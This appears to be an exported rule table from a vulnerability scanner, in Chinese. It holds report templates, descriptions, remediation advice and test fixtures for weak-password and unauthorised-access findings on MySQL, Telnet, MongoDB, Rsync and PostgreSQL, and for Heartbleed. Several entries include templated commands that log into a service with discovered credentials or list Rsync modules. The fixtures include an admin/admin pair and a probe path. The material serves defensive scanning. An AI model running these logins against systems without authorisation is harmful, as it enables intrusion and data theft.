{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638054} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | MySQL 是一个关系型数据库管理系统（Relational Database Management System），在 Web
应用方面，MySQL 是最好的 RDBMS 应用软件。
弱口令（Weak password）没有严格和准确的定义，通常认为容易被别人猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令，例如 “123”、“abc” 等。因为这样的口令很容易被别人破解，从而使对应的账户面临风险。
MySQL 弱口令漏洞指的是在 MySQL 数据库系统中对应的账号使用的口令为弱口令的情况。该种情况下数据库账户的口令很容易被爆破工具暴力破解，一旦被恶意利用来登录系统，会导致数据泄露。如果得到了 root 权限登录 MySQL 服务器，则可以写入恶意文件，危害更大。 | null | 使用以下命令，并输入密码 `{{ detail.password.value }}`，尝试登录 MySQL，如果登录成功则表示存在该漏洞。
```
mysql -u {{ detail.username.value }} -h {{ detail.host }} -P {{ detail.port }} -p
``` | Mysql 弱口令未授权访问漏洞 | mysql | 暂无 | f | 15/3/2021 10:27:11 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-639107 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-639107} | critical | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Telnet 弱口令漏洞是指的是开启了 Telnet 服务但使用的密码长度太短、复杂度不够、仅包含数字、或仅包含字母等，容易被黑客攻击而造成非授权访问、恶意在服务端进行非法操作等入侵行为。利用 Telnet 弱口令漏洞可以直接远程访问主机，获取服务器上的敏感信息，在服务端执行任意命令，甚至通过系统提权控制服务器，危害较大。 | null | 通过以下命令尝试连接到 Telnet 服务器：
```
telnet {{ detail.addr}}
```
输入详情中的用户名和密码，如果登录成功，表示存在 Telnet 未授权访问漏洞。 | Telnet 弱口令漏洞 | telnet | 暂无 | f | 11/3/2021 08:09:08 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[] | null | f | CT-639093 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-639093} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | MongoDB 弱口令漏洞指的就是 MongoDB 在使用过程中没有正确设置数据库的访问权限，导致数据库被非授权用户访问并对数据库数据进行增删改等高危操作。MongoDB 数据库弱口令漏洞危害严重，可以导致数据库数据泄露或被删除勒索，从而造成严重的生产事故。 | null | 1. 使用Mongodb数据库链接工具，通过命令直接连接到数据库，其中 dbname 可以尝试设置为 admin、config、local：
```
mongo {{ detail.addr }}/dbname
```
2. 如果可以连接上数据库并查看数据库中的信息，表示存在该漏洞。 | MongoDB 弱口令漏洞 | mongodb | 暂无 | f | 11/3/2021 08:09:09 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[] | null | f | CT-157923 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157923} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Rsync 未授权访问指的是由于运维人员配置不当，使 Rsync 服务映射到外网 IP ，使外网可以访问并且如果没有配置 ACL 或访问密码，导致任何人都可以访问 Rsync 服务来读写目标服务器中的文件。攻击者利用该漏洞可以通过 `rsync ip::` 等命令遍历目录，上传甚至下载目录中文件以至于信息泄露，在特定条件下甚至会让攻击者轻而易举上传 webshell 以及重写配置文件，进而控制服务器，危害较大。 | null | 通过以下命令尝试连接到数据库的服务端口：
```
rsync --port={{ detail.port }} {{ detail.host }}::
```
如果遍历可以同步的目录成功，表示存在该漏洞。 | Rsync 未授权访问漏洞 | rsync | 暂无 | f | 11/3/2021 08:09:09 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-638933 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-638933} | high | 0 | null | 攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | PostgreSQL 弱口令指的是在 PostgreSQL 数据库系统中对应的帐号使用的口令为弱口令的情况。该种情况下数据库账户的口令很容易被爆破工具暴力破解，一旦被恶意利用来登录系统，会导致数据泄露、篡改。如果得到了 root 权限登录 PostgreSQL 服务器，则可以写入恶意文件，危害更大。 | null | 利用 PostgreSQL 客户端通过以下命令尝试连接到 PostgreSQL 的服务端口：
```
psql -h {{ detail.host }} -p {{ detail.port }} -U {{ detail.username.value }}
```
输入登录密码： `{{ detail.password.value }}` ，如果成功登录到 PostgreSQL 服务器，表示存在 PostgreSQL 弱口令漏洞。 | PostgreSQL 弱口令漏洞 | postgresql | 暂无 | f | 15/3/2021 10:27:12 | - 用户层面
1. 不要使用常见的弱口令作为密码。
2. 不要多个系统或者社交账号使用同一套密码。
3. 定期修改密码。
4. 建议使用包含随机值的或者随机生成的字符串作为系统密码。
- 系统层面
1. 增加人机验证机制，限制 ip 访问次数。
2. 服务端对登录处增加图形验证码并保证使用一次即销毁。
3. 强制用户首次登录时修改默认口令，或是使用用户自定义初始密码的策略。
4. 服务端对登录接口进行限制，单个 IP 单位时间内请求超过阈值，封禁 30 分钟。
5. 服务端对登录接口进行限制，单个用户密码单位时间内错误次数超过阈值，封禁 20 分钟。
6. 修改密码、添加账号等涉及密码策略处强制用户使用强密码策略（大小写字母 + 数字 + 特殊字符 + 8 位以上）
7. 完善密码策略，信息安全最佳实践的密码策略为 8 位（包括）以上字符，包含数字、大小写字母、特殊字符中的至少 3 种。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.1g", "versionStartIncluding": "1.0.1"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:filezilla-project:filezilla_server:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "0.9.44"}]}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:siemens:application_processing_engine_firmware:2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:siemens:application_processing_engine:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:siemens:cp_1543-1_firmware:1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:siemens:cp_1543-1:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:siemens:simatic_s7-1500_firmware:1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:siemens:simatic_s7-1500:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:siemens:simatic_s7-1500t_firmware:1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:siemens:simatic_s7-1500t:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:siemens:elan-8.2:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "8.3.3"}, {"cpe23Uri": "cpe:2.3:a:siemens:wincc_open_architecture:3.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:intellian:v100_firmware:1.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:intellian:v100_firmware:1.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:intellian:v100_firmware:1.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:intellian:v100:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:intellian:v60_firmware:1.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:intellian:v60_firmware:1.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:intellian:v60:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:mitel:micollab:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:micollab:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:micollab:7.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:micollab:7.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:micollab:7.3.0.104:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:micollab:7.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:mivoice:1.1.3.3:*:*:*:*:skype_for_business:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:mivoice:1.2.0.11:*:*:*:*:skype_for_business:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:mivoice:1.3.2.2:*:*:*:*:skype_for_business:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:mivoice:1.4.0.102:*:*:*:*:skype_for_business:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:mitel:mivoice:1.1.2.5:*:*:*:*:lync:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:opensuse:opensuse:12.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:opensuse:opensuse:13.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:13.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:12.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:esm:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:fedoraproject:fedora:20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:fedoraproject:fedora:19:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server_eus:6.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:redhat:storage:2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server_aus:6.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server_tus:6.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_desktop:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_workstation:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:redhat:gluster_storage:2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:redhat:virtualization:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:ricon:s9922l_firmware:16.10.3\\(3794\\):*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:ricon:s9922l:1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}] | null | f | CT-109561 | CNNVD-201404-073 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 66690 | t | {CT-109561,CVE-2014-0160,CNNVD-201404-073,66690} | high | 7.5 | null | 可能造成造成信息泄露，getshell，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | OpenSSL是一款开放源码的SSL实现，用来实现网络通信的高强度加密。 | CVE-2014-0160 | CVE-2014-0160: OpenSSL 心脏滴血漏洞 | ssl | 暂无 | f | 7/4/2014 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。升级相关加密套件，更新相关软件。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "9.0.1"}, {"cpe23Uri": "cpe:2.3:a:adobe:coldfusion:8.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:adobe:coldfusion:9.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:adobe:coldfusion:8.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-61784 | CNNVD-201008-134 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
